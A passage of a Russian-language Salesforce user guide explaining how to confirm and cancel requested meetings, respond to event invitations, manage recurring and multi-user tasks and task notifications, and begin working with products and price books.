При отсутствии полномочия «Редактирование событий» или «Редактирование» для
записей контактов или интересов, связанных с предложенной встречей, страница
подтверждения встречи доступна только для чтения.

Если события дополнены обязательными полями, то пользователю предлагается
обновить данные поля до преобразования встречи в событие.

1. Откройте страницу встречи одним из перечисленных ниже способов.

• Откройте вложеннуювкладку «Запрошенныевстречи» в разделе «Календарь»
вкладки «Начальная страница» ивыберите темунужнойвстречи. Есливложенная
вкладка«Запрошенныевстречи»неотображается, обратитеськадминистратору
с просьбой добавить эту вкладку в раздел «Календарь».

• Если запрос на проведение встречи отправлен посредством связанного списка
«Открытые действия» для контакта, интереса или организации-лица, выберите
тему нужной встречи в связанном списке.

• Откройте электронное уведомление, полученное при ответе приглашенного на запрос, ищелкните ссылку
«Просмотреть ответ и запланировать встречу».
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2. Выберите время и нажмите кнопку «Подтвердить».

Кнопка «Подтвердить» отображается только после выбора времени проведения встречи. В противном случае
отображается кнопка «Отправить обновление», позволяющая отправлять приглашенным сообщение без
подтверждения времени проведения встречи.

Ниже перечислены инструменты для выбора времени.

• Зеленые флажки соответствуют свободному времени каждого пользователя.

• Статус «Свободен» отображается при доступности пользователя на основе календаря Salesforce.

• Еслипредложенное время не подходит приглашенным, выберите новое время и запланируйте встречу повторно.

3. При необходимости введите сообщение.

4. Чтобы подтвердить встречу, нажмите кнопку «Отправить».

Ниже перечислены действия, выполняемые системой Salesforce.

• Отправка приглашенным сообщения эл. почты, содержащего окончательную дату и время проведения встречи.

• Преобразование запрошенной встречи в новое многопользовательское событие. Последнее сообщение,
отправленное приглашенным, отображается в поле события «Описание», а все остальные сообщения между
организатором и приглашенными удаляются.

Данное событие отображается в разделе «Календарь» вкладки «Начальная страница». Если запрос на проведение
встречи отправлен посредством связанного списка «Открытые действия», то событие также отображается в
связанном списке «Открытые действия» соответствующего контакта, интереса или организации-лица.

Отмена запрошенной конференции в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: Все выпуски, кроме
Personal Edition и
Database.com

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отмены встречи:
• «Редактирование

событий»

И

«Отправка эл. почты»

Неподтвержденную конференцию, созданную через запрос в Cloud Scheduler, можно
отменить, после чего Salesforce автоматически рассылает уведомление об отмене всем
приглашенным. При подтверждении встреча преобразуется в событие, доступное для
удаления подобно любому другому событию.

1. Откройте страницу встречи одним из перечисленных ниже способов.

• Откройте вложеннуювкладку «Запрошенныевстречи» в разделе «Календарь»
вкладки «Начальная страница» ивыберите темунужнойвстречи. Есливложенная
вкладка«Запрошенныевстречи»неотображается, обратитеськадминистратору
с просьбой добавить эту вкладку в раздел «Календарь».

• Если запрос на проведение встречи отправлен посредством связанного списка
«Открытые действия» для контакта, интереса или организации-лица, выберите
тему нужной встречи в связанном списке.

• Откройте электронное уведомление, полученное при ответе приглашенного на
запрос, ищелкните ссылку «Просмотреть ответ и запланировать встречу».

2. Нажмите кнопку «Отмена встречи».

Принеобходимостищелкнитессылку«Удал.»напротивнужнойвстречивсвязанном
списке «Открытые действия».

Прим.: Если страница содержит только кнопку «Закрыть», то запрошенная встреча не может быть изменена.
Обратитесь к организатору с просьбой изменить сведения о встрече или администратору Salesforce с просьбой
предоставить необходимые полномочия.
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3. Чтобы подтвердить отмену, нажмите кнопку «OK».

Система Salesforce отправляет уведомление об отмене встречи всем приглашенным. Отмененные встречи не
перемещаются в корзину.

Отклики на приглашения к событиям в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Personal Edition и
Database.com Edition.

Приглашениена событиеможет быть принятоилиотклонено. Принятоеприглашение
может быть добавлено как событие в приложение Outlook.

Если сотрудник приглашает пользователя на событие, тот получит электронное
сообщение со ссылкой на событие. Событие также отображается на вкладке Начальная
страница». Чтобыпринятьилиотклонитьсобытие, выполнитеуказанныенижедействия.

1. Щелкните описание события.

2. При необходимости введите ответ.

3. Приполученииприглашениянаотдельноесобытиещелкните«Принятьвстречу»
или «Отклонить встречу». При получении приглашения на последовательность событийщелкните «Принять
последовательность» или «Отклонить последовательность».

Прим.: Чтобы посетить некоторые события последовательности, но отклонить другие, примите
последовательность, а затем отклоните отдельные события.

СМ. ТАКЖЕ:

Создание встречи Outlook для события в Salesforce Classic

Задачи
Система Salesforce поддерживает использование списка задач и отслеживания текущих сделок или организаций.
Пользователи могут быстро связывать задачи с записями интересов, контактов, кампаний, контрактов или другими
нужнымисведениями. Система Salesforceпредоставляетпользователямразные способыповышенияпроизводительности
(например, быстрое создание и обновление задач, предварительно отфильтрованные списки задач и параметры
уведомлений о задачах).

Управление задачами
В Salesforce задачи представляют собой мощный инструмент, помогающий отслеживать ход выполнения работ и
заключатьсделки. Выможетесвязыватьихскоммерческимивозможностями, интересами, организациямииконтактами,
а также управлять ими в этих записях, списках и отчетах.

Рекомендации по использованию задач
Система Salesforce всегдаотображает крайнийсрок задачивчасовомпоясе, выбранномна странице «Моипараметры».
Администратор Salesforce может добавлять условия для завершения задачи — например, добавление пользователем
комментария. При наличии нескольких статусов «Закрыто» или «Открыто», заданных администратором Salesforce,
выберите необходимый статус, чтобы продолжить работу. Работа с задачами в Lightning Experience отличается от
Salesforce Classic.
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Повторение задачи
Системапозволяетбыстронастраиватькрайнийсрокповторяющейсязадачиисокращатьколичествоповторяющихся
задач в списке будущих задач. Повторяющиеся задачи позволяютповторять задачу через указанное количество дней
после выбранного триггера. Система создает следующую задачу последовательности только после наступления
крайнего срокаилидатызавершениятекущейзадачи. Повторяющиеся задачи — это усовершенствованныерегулярно
повторяющиеся задачи, которые могут завершаться по скользящему графику.

Назначение задач нескольким людям средствами Salesforce Classic

До 100 сотрудникамможноназначитьотдельнуюкопиюоднойитойжезадачи. Например, создайте задачу «Отправить
отчеты по расходам» с соответствующим крайним сроком и назначьте ее рабочей группе менеджеров по работе с
клиентами.

Уведомления о задачах
Настройте параметры для отправки и получения уведомлений по электронной почте при назначении задачи.

СМ. ТАКЖЕ:

Действия

События и календари

Управление задачами
ВSalesforce задачипредставляютсобоймощныйинструмент, помогающийотслеживатьходвыполненияработизаключать
сделки. Вы можете связывать их с коммерческими возможностями, интересами, организациями и контактами, а также
управлять ими в этих записях, списках и отчетах.

Управление задачами в Lightning Experience

Пользователи могут создавать, обновлять и отслеживать собственные задачи, задачи, делегированные другим
пользователям, и задачи для возможности, интереса, организации или контакта. Используйте начальную страницу,
список заданий или временнуюшкалу действий. Кроме того, задачи могут отслеживаться посредством отчетов.

Управление задачами в Salesforce Classic

Выможетеотслеживать, создаватьиобновлятьсвоиичужиезадачивразличныхместоположенияхв Salesforce. Задачи
отображаются посредством списковых представлений действий, представлений календаря, лент Chatter и связанных
записей (например, контакты и организации). Кроме того, задачи могут отслеживаться посредством отчетов.
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Управление задачами в Lightning Experience

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Developer Edition,
Enterprise Edition, Group
Edition, Performance
Edition, Professional Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания задач:
• «Редактирование задач»

Пользователи могут создавать, обновлять и отслеживать собственные задачи, задачи,
делегированныедругимпользователям, изадачидлявозможности, интереса, организации
иликонтакта. Используйтеначальнуюстраницу, список заданийиливременнуюшкалу
действий. Кроме того, задачи могут отслеживаться посредством отчетов.

• На начальной странице в разделе сегодняшних заданий отображаются следующие
пять заданий, которые необходимо сделать сегодня.

• На панели Канбан для коммерческих возможностей и интересов отображаются
уведомления о том, что срок завершения того или иного задания истек, или о том,
что открытые действия отсутствуют. Чтобы создать или обновить задачу, щелкните
желтый треугольник.

• Для отдельной коммерческой возможности, интереса, организации или контакта
используйте компоновщик и временнуюшкалу действий для создания и работы с
задачами, встречами, звонками и сообщениями эл. почты.

• Используйте список задачдляработыс задачами, срок выполнениякоторыхистекает
сегодня, всеми открытыми задачами, задачами, срок выполнения которых истек, а
также задачами, выполненнымизапоследниесемьдней. Щелкните «Задачи» вменю
навигации и выберите нужное представление.

Чтобы сохранить задачи, срок выполнения которыхнедавноистек (то есть истек в течение последних 30 дней), в зоне
наблюдения, но так, чтобы они не мешали выполнять текущие задачи, элементМои задачи свертывает их, когда их
10 или больше. ЭлементВсе просроченные включает все просроченные задачи. В разделеДелегированные
отображаются задачи, которые вы создали и впоследствии назначили своим подчиненным в иерархии ролей своей
организации Salesforce.

Вы можете также использовать отчеты о действиях для просмотра задач, назначенных вашим подчиненным по
иерархии ролей в организации Salesforce.

Прим.: Вы можете удалить контакт или запись из задачи, не удаляя саму задачу. Предположим, что задача связана
с контактами «А» и «Б», но должна быть связана только с контактом «А». Рекомендуем просто удалить контакт «Б»
из поля «Имя» вместо удаления задачи.

СМ. ТАКЖЕ:

Карточка производственного заказа для коммерческих возможностей

Рекомендации по использованию задач в Lightning Experience
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Управление задачами в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Database.com.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания задач
• «Редактирование задач»

Вы можете отслеживать, создавать и обновлять свои и чужие задачи в различных
местоположениях в Salesforce. Задачи отображаются посредством списковых
представлений действий, представлений календаря, лент Chatter и связанных записей
(например, контакты и организации). Кроме того, задачи могут отслеживаться
посредством отчетов.

Отслеживание задач

Ниже перечислены области, позволяющие отслеживать собственные задачи и задачи
другихпользователей. Чтобыпросмотретьсписковыепредставлениядействий, щелкните
значок на вкладке «Начальная страница» или в любом представлении календаря,
либо откройте представление дня или недели.

Задачи, назначенные текущему пользователю

• Раздел «Мои задачи» вкладки «Начальная страница»

• Списковое представление действий: выбор текущего спискового представления или настройка нового

• Собственная лента Chatter: отслеживание сообщений, комментариев и обновлений для задачи

Задачи с ближайшим крайним сроком

• Списковое представление «Мои действия»

• Элемент «Today» в приложении Salesforce1 на устройствах iOS или Android

• Список «Мои задачи» в приложении Salesforce1

Задачи, связанные с другой записью (например, контактом или организацией)

• Связанные списки «Открытые действия» и «Журнал действий» на странице сведений о другой записи

• Собственная лента Chatter и лента Chatter другой записи

• Отчеты по действиям

Прим.: Выможете удалить контакт или запись в задаче без удаления всей задачи. Например, предположим,
что задача связана с контактом А и контактом Б и вы хотите связать ее только с контактом А. Вместо того
чтобы удалять всю задачу, уберите контакт Б из поля «Имя».

Делегированные задачи, назначенные нижестоящим пользователям в иерархии организации

• Списковое представление «Мои делегированные действия»

• Отчеты по действиям

• Список «Делегированные задачи» в приложении Salesforce1

Просроченные задачи

• Списковое представление действий «Просрочено»

• Список «Просроченные задачи» в приложении Salesforce1

Завершенные задачи

• Списковое представление «Мои действия»

• Список «Завершенные задачи» в приложении Salesforce1

Задачи, назначенные другим пользователям

• Списковое представление «Мои делегированные действия»
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• Отчеты по действиям

Задачи, назначенные нижестоящим пользователям в иерархии организации

• Списковое представление «Действия моей рабочей группы»

• Отчеты по действиям

Просмотр сведений о задаче

Календарь, списковое представление действий, связанный список и вкладка «Начальная страница» поддерживают два
способа просмотра сведений о задачах.

• Наведите указатель мыши на тему нужной задачи.

• Щелкните нужную тему.

Чтобы просмотреть сведения об одной задаче из последовательности событий ( ), выберите вложенную вкладку
«Посмотреть задачу» на странице описания задачи. Чтобы просмотреть сведения о последовательности, откройте
вложенную вкладку «Просмотр последовательности».

Создание задач

Вкладка «Начальная страница»
Нажмите кнопку «Создать» в разделе «Мои задачи» вкладки «Начальная страница».

Лента Chatter
Система Salesforce автоматически связывает задачу с записью (например, контактом), лента которой используется для
ее создания.

Боковая панель
Выберите пункт «Задача» в раскрывающемся списке «Создать...» на боковой панели системы Salesforce.

Страница сведений о другой записи

• Нажмите кнопку «Создать задачу» в связанном списке «Открытые действия».

• Чтобыдобавить запись задачисостатусом «Completed», нажмитекнопку«Записатьвызоввжурнал» в связанном
списке «Журнал действий».

Система Salesforce автоматически связывает задачу с данной записью.

Представление дня или недели
Нажмите кнопку «Создать» в разделе «Мои задачи».

Списковое представление действий ( )
Нажмите кнопку «Создать задачу» в списковом представлении.

Обновление задач

Любая область (кроме отчетов), предназначенная для просмотра сведений о задачах, позволяет редактировать любые
задачи, доступные для редактирования.

Рекомендации по использованию задач
Система Salesforce всегда отображает крайний срок задачи в часовом поясе, выбранном на странице «Мои параметры».
Администратор Salesforce может добавлять условия для завершения задачи — например, добавление пользователем
комментария. Приналичиинесколькихстатусов «Закрыто» или «Открыто», заданныхадминистраторомSalesforce, выберите
необходимый статус, чтобы продолжить работу. Работа с задачами в Lightning Experience отличается от Salesforce Classic.
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Рекомендации по использованию задач в Lightning Experience

Ниже перечислены рекомендации по владению, просмотру, созданию и обновлению задач.

Рекомендации по использованию задач в Salesforce Classic

Ниже перечислены рекомендации по владению, просмотру, созданию и обновлению задач.

СМ. ТАКЖЕ:

Напоминания о действиях в Salesforce Classic

Индивидуальная настройка системы Salesforce

Рекомендации по использованию задач в Lightning Experience

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Developer Edition,
Enterprise Edition, Group
Edition, Performance
Edition, Professional Edition
и Unlimited Edition.

Ниже перечислены рекомендации по владению, просмотру, созданию и обновлению
задач.

Несение ответственности за задачу одним пользователем
Ответственность за задачу принадлежит только одному пользователю.
Переназначение задачи другому пользователю, который не является нижестоящим
в иерархии ролей, инициирует ее удаление из собственного списка задач. В данном
случае задача отображается представлением «Делегированные» списка задач.

Менеджеры не могут редактировать задачи других пользователей
Пользователи могут переназначать задачи сотрудникам. Менеджеры в иерархии
ролей могут просматривать задачи, назначенные нижестоящим пользователям в
иерархии ролей. Кроме того, они могут использовать отчеты для просмотра задач
нижестоящих пользователей в иерархии ролей, но не могут их редактировать.

Отсутствие повторяющихся задач
Пользователинемогут создаватьповторяющиеся задачи. Темнеменее, список задачпользователяи временнаяшкала
действий отображают все задачи, созданные как часть последовательности в Salesforce Classic. Таким образом
пользователь может редактировать назначенные ему задачи.

Ограничение на отправку уведомлений при назначении задач
Lightning Experience не отображает параметры для отправки и получения Система также не отображает настройки
получения сообщения по электронной почте, когда кто-либо назначает задачу пользователю. Однако при переходе
с Lightning Experience на Salesforce Classic один из этих параметров может быть доступен. Это зависит от того, каким
образом администратор настроил организацию Salesforce. Если доступен один из этих параметров, пользователь
может получать сообщения электронной почты по задачам, которые он назначил для себя или создал со статусом
«Завершено».

Отсутствие напоминаний о задачах
Lightning Experience не поддерживает напоминания о задачах.

СМ. ТАКЖЕ:

Рекомендации по использованию событий и календарей в Lightning Experience

Рекомендации по использованию действий

1534

Планирование и отслеживание встреч и задачПродажи клиентам



Рекомендации по использованию задач в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: всех версиях,
кроме Database.com
Edition.

Ниже перечислены рекомендации по владению, просмотру, созданию и обновлению
задач.

Повторяющиеся задачи ( )

Поддержка только стандартного типа записи
При использовании нестандартного типа записи система Salesforce все равно
применяет стандартный тип записи к повторяющейся задаче. При этом Salesforce не
отображаетполяраскрывающегося списка, связанныесо стандартнымтипомзаписи.

Не указывается «Крайний срок»
Поле «Крайний срок» отключено, так как задачи последовательности могут использовать разные крайние сроки.

Влияние изменений на последовательность задач и отдельные задачи в последовательности

Внимание: Изменения, внесенные в последовательность повторяющихся задач, переопределяют изменения,
внесенные в отдельные задачи с предстоящим крайним сроком. (Изменения, внесенные в последовательность,
невлияютназадачиспрошедшимкрайнимсроком.) Приизменениилюбогоизперечисленныхнижепараметров
впоследовательностиссылкинабудущиезадачибудутповреждены, а триггерыибизнес-правилабудутсброшены.

• Частота

• Дата начала или окончания повторения

Статус задачи
Статус последовательности задач не может быть изменен. Пользователи могут изменять только статус отдельных
задач в последовательности.

Напоминания о задачах
При создании повторяющейся задачи и установкефлажка напоминания система отправит напоминание для каждой
отдельной задачи в последовательности.

Вложения в задачи
Пользователимогутдобавлятьфайлывпоследовательностиповторяющихсязадач. Послесозданияпоследовательности
пользователи могут добавлять или удалять вложения из каждой отдельной задачи в последовательности.

Вложения отображаются только на странице сведенийо задаче, ноне отображаются на страницах сведенийо других
связанных записях. При отсутствии связанного списка «Вложения» на странице сведений о задаче обратитесь к
администратору Salesforce с просьбой добавить список в макет страницы задач.

Пакетное связывание задач с контактами (функция «Общедоступные действия»)

Максимальное число связанных контактов
Задача может быть связана с 50 контактами (но только одним интересом) в поле «Имя», включая один основной

контакт. При отсутствии напротив поля «Имя» обратитесь к администратору Salesforce с просьбой включить
функцию «Общедоступные действия».

Отсутствие поддержки повторяющихся задач или множества назначенных
Пакетное связываниеконтактовнедоступнодляпоследовательностиповторяющихся задачили задачи, назначенной
нескольким пользователям.
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Назначение задач

Назначение задачи автору
По умолчанию задача назначается автору. Чтобы назначить независимые копии новой задачи нескольким

пользователям, щелкните напротив поля «Назначено» и откройте вкладку «Несколько пользователей» в
отображаемом окне. Поле «Назначено» не поддерживается версией Personal Edition.

Уведомления о задачах

Электронные уведомления
Ниже перечислены возможные сценарии, определяемые способом настройки организации, выполненной
администратором Salesforce.

• Пользователь получает автоматические электронные уведомления для каждой назначенной ему задачи. Чтобы
отключитьданныеуведомления, перейдитенастраницу «Напоминанияисигналы» вличныхпараметрахиснимите
флажок «Уведомлять по эл. почте о назначенной задаче».

• Пользователь не получает автоматические электронные уведомления для каждойназначенной ему задачи. Чтобы
отправитьсообщениеэл. почтыпользователю, выбранномудляназначениязадачи, включаясамогосебя, установите
флажок«Отправитьэлектронноеуведомление»присозданиизадачи. (Доступностьданногофлажкаопределяется
настройкой организации, выполненной администратором Salesforce.)

Мобильные уведомления о задачах
Приложение Salesforce1 использует отдельные параметры для уведомлений о назначении задач, отправляемых на
мобильные устройства пользователей.

Проверка орфографии

Поддержка только некоторых языков
При отсутствии функции проверки орфографии в поле «Комментарии» обратитесь к администратору Salesforce с
просьбой включить даннуюфункцию. Тем не менее, функция проверки орфографии поддерживает не все языки,
используемые системой Salesforce. Например, функция проверки орфографии не поддерживает тайский и русский
языки, а также некоторые языки с двухбайтовой кодировкой символов (японский, корейский и китайский).

Задачи в Chatter

Отображение новых задач в лентах Chatter
Новая задача, связанная с записью (например, интерес, организацияилинастраиваемыйобъект), отображается в ленте
соответствующей записи. Любая отслеживаемая запись отображает элементы ленты для всех задач, независимо от
их автора.

Создание задач в лентах
Администратор Salesforce может определять возможность использования Chatter с целью создания задач для разных
типов записей. Например, ленты для доступных организаций позволяют просматривать задачи, но не позволяют их
создавать.

Отсутствие повторяющихся задач в Chatter
Лента Chatter пользователя не отображает повторяющиеся задачи; Chatter не поддерживает отслеживание
повторяющихся задач.

Отсутствие регистрации сообщений эл. почты или вызовов в лентах обращений
Ленты обращений не отображают задачи по отправке сообщений эл. почты или регистрации вызовов.
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Email-to-Case

Просмотр связанных сообщений эл. почты
Еслиорганизацияиспользуетфункцию Email-to-Case илиOn-Demand Email-to-Case, тонекоторые задачибудут связаны
с сообщениями эл. почты Email-to-Case или On-Demand Email-to-Case. Чтобы увидеть связанное сообщение эл. почты,
щелкните ссылку вверху задачи. Дополнительную информацию см. в разделе «Работа с сообщениями эл. почты,
содержащими обращения» на странице 2417.

Salesforce for Outlook

Неопределенные элементы
Если задача создана на основе сообщения эл. почты, отправленного в систему Salesforce посредствомфункции Email
to Salesforce или приложения Salesforce for Outlook, то верхняя часть страницы сведений о сообщении эл. почты может
содержать баннер, отображающий ссылку на страницу «Мои неопределенные элементы». Данная страница может
использоваться для назначения любых несвязанных сообщений эл. почты соответствующим записям Salesforce.

Повторение задачи

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Contact Manager,
Personal, Group,
Professional, Enterprise,
Performance, Unlimited и
Developer

Доступно в Salesforce
Classic в следующих
версиях: Все версии, кроме
Database.com.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания задач:
• «Редактирование задач»

Системапозволяетбыстронастраиватькрайнийсрокповторяющейсязадачиисокращать
количество повторяющихся задач в списке будущих задач. Повторяющиеся задачи
позволяютповторятьзадачучерезуказанноеколичестводнейпослевыбранноготриггера.
Система создает следующую задачу последовательности только после наступления
крайнего срока или даты завершения текущей задачи. Повторяющиеся задачи — это
усовершенствованные регулярно повторяющиеся задачи, которые могут завершаться
по скользящему графику.

Чтобы включить поддержку повторяющихся задач при создании задачи, обратитесь к
администраторуSalesforce спросьбойдобавитьповторяющиесязадачивмакет страницы.

1. Выберите значение «После крайнего срока» или «После даты завершения» в
поле «Повторить данную задачу».

2. Введите нужное количество дней в поле «Интервал повторения».

Если поле «Повторить данную задачу» текущей задачи содержит значение «(Задача
закрыта)», следовательно, задача была закрыта как повторяющаяся задача
последовательности. Данное значениепозволяетотличатьповторяющиеся задачиот задачдругихтиповприсоставлении
отчетов.

При синхронизации задач посредством приложения Salesforce for Outlook отдельные задачи последовательности
синхронизируются по мере создания.

Прим.: Приповторении задачпоследовательностипосленаступления крайнего срока система Salesforceне создает
повторы с прошедшим крайним сроком. Взамен, система Salesforce добавляет интервал, благодаря которому
повторяющейся задаче назначается новый предстоящий крайний срок. Например, пользователь задает задачу,
которая должна повторяться через три дня после крайнего срока, но закрывает ее через пять дней после крайнего
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срока. Вместо создания задачи, которая уже является просроченной, система Salesforce назначает новой задаче
крайний срок, истекающий на следующий день.

Назначение задач нескольким людям средствами Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: Все выпуски, кроме
Personal Edition и
Database.com

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания задач:
• «Редактирование задач»

До 100 сотрудникам можно назначить отдельную копию одной и той же задачи.
Например, создайтезадачу «Отправитьотчетыпорасходам» ссоответствующимкрайним
сроком и назначьте ее рабочей группе менеджеров по работе с клиентами.

1. Щелкните значок поиска ( ) напротив поля «Назначено» на странице «Создать
задачу».

2. Откройте вкладку «Несколько пользователей» в окне поиска.

3. Добавьте до 100 сотрудников (в том числе членов групп) в список «Выбранные
участники».

Совет: Персональные группы — это эффективный способ объединения
пользователей в нужные группы. Дополнительнуюинформациюсм. в разделе
«Создание и редактирование групп».

4. Нажмите кнопку Готово.
Новаястраницазадачотображаетвыбранныеэлементыиполноеколичествозаданий
рядом с полем Назначено.

5. Сохраните задачу.

Теперь вы назначили копии задач выбранным сотрудникам. Сотрудники могут редактировать, переназначать или
удалять свои отдельные задачи.

Уведомления о задачах
Настройте параметры для отправки и получения уведомлений по электронной почте при назначении задачи.

Уведомления о задачах в Lightning Experience

Lightning Experienceнеотображаетпараметротправки сообщения электроннойпочтыприназначениипользователем
задачи. Систематакженеотображаетнастройкиполучениясообщенияпоэлектроннойпочте, когдакто-либоназначает
задачу пользователю. Однако при переходе с Lightning Experience на Salesforce Classic один из этих параметров может
быть доступен. Это зависит от того, каким образом администратор настроил организацию Salesforce. Если доступен
один из этих параметров, пользователь может получать сообщения электронной почты по задачам, которые он
назначил для себя или создал со статусом «Завершено». Дополнительную информацию можно получить у
администратора Salesforce.

Уведомления о задачах в Salesforce Classic

Salesforce может отправлять уведомление по электронной почте, когда кто-либо создает или назначает задачу, в
зависимости от того, каким образом администратор Salesforce настроил организацию пользователя.
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Уведомления о задачах в Lightning Experience

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Developer Edition,
Enterprise Edition, Group
Edition, Performance
Edition, Professional Edition
и Unlimited Edition.

Lightning Experience не отображает параметр отправки сообщения электронной почты
при назначении пользователем задачи. Система также не отображает настройки
получения сообщения по электронной почте, когда кто-либо назначает задачу
пользователю. Однако при переходе с Lightning Experience на Salesforce Classic один из
этихпараметровможетбытьдоступен. Этозависитоттого, какимобразомадминистратор
настроилорганизацию Salesforce. Еслидоступенодиниз этихпараметров, пользователь
может получать сообщения электронной почты по задачам, которые он назначил для
себя или создал со статусом «Завершено». Дополнительную информацию можно
получить у администратора Salesforce.

Уведомления о задачах в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания задач:
• «Редактирование задач»

Salesforceможет отправлять уведомление по электроннойпочте, когда кто-либо создает
или назначает задачу, в зависимости от того, каким образом администратор Salesforce
настроил организацию пользователя.

Чтобы определить алгоритм отправки уведомлений о задачах, используемый
организацией, обратитесь к администратору Salesforce.

• Пользователимогут задавать собственнуюнастройкудля электронныхуведомлений
при назначении задачи.

• Необходимость отправки электронного уведомления о задаче может определяться
пользователем, назначающим задачу.

• Пользователинемогут получать электронные уведомления приназначении задачи.

Еслипользователимогут задаватьсобственнуюнастройкудляэлектронныхуведомлений
при назначении задачи, то электронные уведомления отправляются по умолчанию.
Чтобы отказаться от получения электронных уведомлений, измените параметр ниже.

• Последовательно выберите пункты «Напоминания и сигналы» > «События и задачи» на странице личных
параметров и снимите флажок «Уведомлять меня по эл. почте, если кто-то назначает мне задачу».

Отслеживание продуктов, цен и графиков платежей

Продукты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Термин «Продукты» в Salesforceиспользуетсядляобозначенияпродуктовиуслуг, которые
компания предоставляет клиентам.

Понятие продукта
Преждечемприступитькработе спродуктамив Salesforce, рекомендуемознакомиться
с основными понятиями.
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Рекомендации по созданию продуктов
Создание продуктов в системе Salesforce позволяет администраторам и менеджерам отдела продаж отслеживать
продаваемые компанией продукты и услуги. Торговые представители могут добавлять созданные продукты в сметы,
возможности и заказы. Ниже приведены рекомендации, с которыми следует ознакомиться перед началом работы.

Понятие продукта

ВЕРСИИ

Сметы,
заказы и

Продукты и
прайс-листы

расписаниядоступны в
доступныследующих
вверсиях:
Salesforce
Classic.

Salesforce
Classic и
Lightning
Experience

Доступно в
версиях:
Professional
Edition,
Enterprise
Edition,
Performance
Edition,
Unlimited
Edition и
Developer
Edition.

Прежде чем приступить к работе с продуктами в Salesforce, рекомендуем ознакомиться
с основными понятиями.

Продукты — это товары и услуги, продаваемые клиентам. Один и тот же продукт может
использоваться в нескольких прайс-листах под разными ценами.

Припросмотрестраницысведенийовозможности, смете, заказеилисервисномконтракте
в связанныхсписках «Продукты» или «Элементыстрокисметы» отображаютсяпродукты
соответствующей записи. Данные связанные списки могут использоваться при выборе
прайс-листадля записи, добавленияилиредактированияпродуктов, а такжедля создания
илиредактированиярасписанийдляпродуктоввозможности. Связатьпродукт с записью
можно на странице записи. Например, чтобы выбрать продукт для добавления в смету,
нажмите кнопку «Добавить элемент строки» в связанном списке «Элементы строки
сметы» на странице сведений о смете.

Чтобы просмотреть продукты, доступные для совместного использования с
бизнес-партнерами с помощьюфункции Salesforce to Salesforce, выберите нужное
списковое представление в разделе «Продукты от подключений».

СМ. ТАКЖЕ:

Продукты

Рекомендации по созданию продуктов
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Рекомендации по созданию продуктов

ВЕРСИИ

Сметы,
заказы и

Продукты и
прайс-листы

расписаниядоступны в
доступныследующих
в:версиях:
Salesforce
Classic

Salesforce
Classic и
Lightning
Experience

Доступно в
версиях:
Professional
Edition,
Enterprise
Edition,
Performance
Edition,
Unlimited
Edition и
Developer
Edition.

Создание продуктов в системе Salesforce позволяет администраторам и менеджерам
отдела продаж отслеживать продаваемые компанией продукты и услуги. Торговые
представители могут добавлять созданные продукты в сметы, возможности и заказы.
Нижеприведенырекомендации, скоторымиследуетознакомитьсяпередначаломработы.

• Длясозданияипросмотрапродуктов требуютсяполномочия «Чтение» и «Создание».

• Для создания нового продукта нажмите кнопку «Создать» на начальной странице
«Продукты».

• Продукт также можно создать путем клонирования существующего продукта.

• Чтобы гарантировать высокую производительность системы при использовании
прайс-листов, рекомендуем создавать не более двух миллионов продуктов.

• Чтобы добавить продукты в прайс-лист, установите для них стандартную активную
цену.

• Нажмите кнопку «Правка» над сведениями о продукте, чтобы определить порядок
выплат и доставки с помощью расписания продукта.

СМ. ТАКЖЕ:

Создание записей

Цены и прайс-листы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прайс-листыпозволяютотслеживатьценынапродуктыиуслуги, которыевашакомпания
предлагает клиентам.

Принципы использования прайс-листов
Ознакомьтесь с материалами о прайс-листах и записей прайс-листов.

Назначение и изменение цен продуктов
Пользователимогут устанавливатьиизменятьценынапродуктыиуслугикомпании.

Создание настраиваемых прайс-листов
Создавайте настраиваемые прайс-листы для каждого сегмента рынка, на котором
работают ваши торговые представители. Затем добавьте продукты в каждый
прайс-лист с ценами, которые вы предлагаете на каждом сегменте рынка. Например,
есливыпродаете товарнавнутреннемивнешнемрынкахпоразнымценам, выможете
создать два настраиваемых прайс-листа, один — для внутреннего рынка и один — для внешнего.

Рекомендации по предоставлению общего доступа к прайс-листам
Предоставление общего доступа позволяет участникам группы сбыта работать с прайс-листами в Salesforce Classic.

Рекомендации по удалению прайс-листов
Чтобы удалить прайс-листы из связанных списков, рекомендуем заархивировать, деактивировать или удалить
прайс-листы. Каждоедействие удаленияотличается своимрезультатом. Преждечемудалитьпрайс-листиз связанных
списков, рекомендуем выбрать оптимальный способ удаления в соответствии с текущими бизнес-требованиями.
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Рекомендации по удалению продукта из прайс-листа
Прежде чем удалить продукт из прайс-листа, рассмотрите следующие рекомендации.

Рекомендации по удалению продуктов и прайс-листов
Ниже перечислены основные моменты, которые следует учитывать при удалении продукта или прайс-листа.

Принципы использования прайс-листов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ознакомьтесь с материалами о прайс-листах и записей прайс-листов.

Прайс-лист — это список продуктов и цен.

